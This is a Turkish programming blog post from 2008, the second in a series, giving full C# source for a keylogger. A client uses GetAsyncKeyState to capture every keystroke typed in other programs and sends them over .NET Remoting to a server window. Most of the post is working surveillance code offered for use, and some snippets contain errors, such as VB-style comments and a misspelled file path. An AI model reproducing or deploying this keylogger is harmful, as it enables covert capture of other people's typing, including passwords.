C# 2.0 Remoting Uygulamaları 2: Api ile KeyLogger

Yağız Gönüler tarafından yayınlanmıştır 13. Ağustos 2008 12:20
 

Kullanıcağımız mantık, önceki makalemizdekiyle tamamen aynı. Ancak burada birtakım değişiklikler var. Örneğin server uygulamamızda 2 farklı dll tanımlamamız gerekiyor ve client uygulamamızda 2 adet timer nesnesi kullanmamız gerekiyor.

 

Öncelikle projemize bir class library ekleyip dll dosyamızı tanımlayalım:

 

using System;

using System.Collections.Generic;

using System.Text;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.IO;

 

namespace DllUygulamasi

{

 

 

public interface arayuz

{

‘mesaj yolla isminde bir string parametre tanimliyoruz

String mesajyolla(string deger);

}

 

 

public class dlluygulamasi : MarshalByRefObject, arayuz

{

public string mesajyolla(string deger)

{

 

‘dllimiz calisirken yine yolunu c’deki txt dosyasindan alicak
‘yazilari buradan cekip okiyacak ve islemler tamamen bittiginde silinecek
string yol;

yol = @"C:\yagiz.txt";

StreamWriter yaz = new StreamWriter(yol);

yaz.WriteLine(deger);

yaz.Close();

return null;

}

}

}

 

Şimdi geçelim server uygulamamıza. Burada unutmamamız gereken tek şey; hem server uygulamasına hem de client uygulamasına bu dll dosyamızı ve system.runtime.remoting namespacemizi eklemek.

Server uygulamamızın tasarımı şu şekilde olmalı (1 adet timer eklenmeli):

 

 

Kodlarımız ise şu şekilde olmalı (açıklamaları satır aralarında yazılıdır):

 

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;

using System.IO;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.Runtime.Remoting.Channels.Http;

using DllUygulamasi;

 

namespace ApiKeyLogger

{

public partial class Form1 : Form

{

public Form1()

{

InitializeComponent();

}

 

private void Form1_Load(object sender, EventArgs e)

{

textBox1.Multiline = true;

‘Karakterleri okumak icin bir http kanali tanimlaniyor
‘bu kanal 42000 numaralı portu kullanıyor

HttpChannel kanal = new HttpChannel(42000);

‘kanalamızın tipini tanımlıyoruz ve dll dosyamızla bıcımlendırıyoruz

ChannelServices.RegisterChannel(kanal);

RemotingConfiguration.RegisterWellKnownServiceType(typeof(dlluygulamasi), "Yayin", WellKnownObjectMode.SingleCall);

timer1.Interval = 10;

timer1.Start();

}

 

private void timer1_Tick(object sender, EventArgs e)

{

try

{

‘timer calisirken degerini yagiz.txt dosyasindan alicak
‘dosyadan karakterlerini okuyup satira yazdiracak
‘daha sonra islemler bitince de dosya silinecek

string yol = @"C:\yagiz.txt";

FileInfo dosya = new FileInfo(yol);

if (dosya.Exists)

{

StreamReader oku = new StreamReader(yol);

string satir = oku.ReadLine();

textBox1.Text += satir;

oku.Close();

dosya.Delete();

}

}

catch { }

}

 

private void Form1_FormClosing(object sender, FormClosingEventArgs e)

{

‘form kapanırken de dosyayı sılıyoruz
string yol = @"C:\yagix.txt";

FileInfo dosya = new FileInfo(yol);

if (dosya.Exists)

{

dosya.Delete();

}

}

 

 

}

}

 

 

Şimdi ise client uygulamamızı tasarlıyoruz. (2 adet timer eklenmeli):

 

 

Şimdi ise kodlarımızı yazalım (açıklamaları satır aralarında):

 

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;

using System.IO;

using System.Runtime;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.Runtime.Remoting.Channels.Tcp;

using System.Runtime.InteropServices;

using DllUygulamasi;

 

 

namespace Cliento

{

public partial class Form1 : Form

{

‘api fonksiyonlarımızı tanımlıyoruz

[DllImport("user32.dll")]

private static extern short GetAsyncKeyState(System.Windows.Forms.Keys Karakter);

 

[DllImport("user32.dll")]

private static extern short GetAsyncKeyState(System.Int32 KarakterDegerleri);

 

string karakterler, metin;

 

public Form1()

{

InitializeComponent();

}

 

private void Form1_Load(object sender, EventArgs e)

{

timer1.Interval = 1;

timer2.Interval = 2;

timer1.Enabled = true;

timer2.Enabled = true;

textBox1.MaxLength = 1;

karakterler = "";

 

‘clientte karakterleri yazacak tcp kanalını tanımlıyoruz
kanal = new TcpChannel();
‘tcp kanalın tipini ve özelliklerini tanımlayıp nereden yayınlanacagını belırtıyoruz

ChannelServices.RegisterChannel(kanal);

arayuz uzakyuz = (arayuz)Activator.GetObject(typeof(arayuz), "HTTP://localhost:42000/Yayin");

‘isletme delegateine yeni degerini tanimliyoruz

son = new Isletme(uzakyuz.mesajyolla);

 

}

 

private void timer1_Tick(object sender, EventArgs e)

{

foreach (int eleman in Enum.GetValues(typeof(Keys)))

{

if (GetAsyncKeyState(eleman) == -32767)

{

karakterler += Enum.GetName(typeof(Keys), eleman) + " ";

}

}

metin = null;

}

 

private void timer2_Tick(object sender, EventArgs e)

{

try

{

‘karakter disinda metin kabul etmedigimizi belirtiyoruz

metin=karakterler;

if(metin.Length<=3)

{

textBox1.Text=karakterler;

}

karakterler=null;

}

catch{}

 

}
public delegate string Isletme(string deger);

TcpChannel kanal;

Isletme son;

 

private void textBox1_TextChanged(object sender, EventArgs e)

{

string veri = textBox1.Text;

son(veri);

}

 

}

}

 

Böylece 3 kısımdan oluşan uygulamamızı da hazırlamış olduk. Yapmamız gereken tek şey önce server uygulamamızı çalıştırıp daha sonra client uygulamamızı çalıştırmak. Client uygulamasında örneğin bir notepad açın ve yazın. Bastığınız karakterlerin serverda ekrana geleceğini göreceksiniz. Sonuç:

 

 

Gördüğünüz gibi notepad yada Internet Explorer gibi bolca text kullanabileceğimiz programlardan bile bu şekilde faydalanabiliyoruz.

 

3. makalemde çok daha ilginç bir logger geliştireceğim. Bu sefer ekran görüntüsünü yakalayacağımız bir Screen Logger mantığını göreceğiz. Bu makale, serimizin 2. makalesiydi. Son makalede görüşmek üzere. İyi çalışmalar dilerim.

1 kişi tarafından 3.0 olarak değerlendirildi

  • Currently 3/5 Stars.
  • 1
  • 2
  • 3
  • 4
  • 5

Etiketler: , , ,

Software | Articles | Windows

Yorumlar

Yorum ekle


(Gravatar simgesini gösterecek)  

  Country flag

biuquote
  • Yorum
  • Canlı önizleme
Loading





Bu site BlogEngine.NET 1.4.5.0 ile oluşturulmuştur. Türkçe çevirisi BlogEngine TR ekibi tarafından yapılmıştır.
Sitedeki kod ve tasarım değişiklikleri ise Yağız Gönüler tarafından geliştirilmiştir.
2008 © www.yagizgonuler.com

Şifahen değil acilen!

Anket

Yazılım geliştirirken en keyif aldığınız alan hangisi?




Sonuçlar

Son Yorumlar

Comment RSS

Calendar

<<  Ocak 2009  >>
PaSaÇaPeCuCuPa
2930311234
567891011
12131415161718
19202122232425
2627282930311
2345678

Yazıları geniş takvimde göster

Ne Dinliyorum?

Kirpi - TearDrop (6 saat önce)
Kirpi - My Name Is Kirpi (6 saat önce)
Kirpi - The Song (6 saat önce)
Kirpi - Spell (7 saat önce)
Huseyin Karadayi - Bonus Track Funk Clarinet (String Mix) (7 saat önce)
Huseyin Karadayi - Sacred Gate (7 saat önce)
Huseyin Karadayi - Exotica (7 saat önce)
Huseyin Karadayi - Take Me Away / No Time To Waste (Vocal By Melis Sökmen) (7 saat önce)
Huseyin Karadayi - Eyes Don't Lie (Duet By Enoi & Funky C) (7 saat önce)
Huseyin Karadayi - This Way (Usy Groove) (7 saat önce)

Ne Okuyorum?


Haftanın Sözü


"Sukûnetim asaletimdendir;
Lâkin her lâfa verilecek bir cevabım var.
Bir bakarım lâf lâfmı diye,
Birde bakarım söyleyen adammı diye.."

Mevlânâ Celaleddin-i Belhi Rumi
(1207-1273)

Adanmış Hayatlar

"Zaten aşklar hep yalan dolan,
Sonu hep acı hüsran.
Bize her sevdadan geriye kalan
Sadece Galatasaray..
"

Son Dakika

İstanbul'da Hava

ISTANBUL

Ziyaretçi Sayısı

Ziyaretçi Sayısı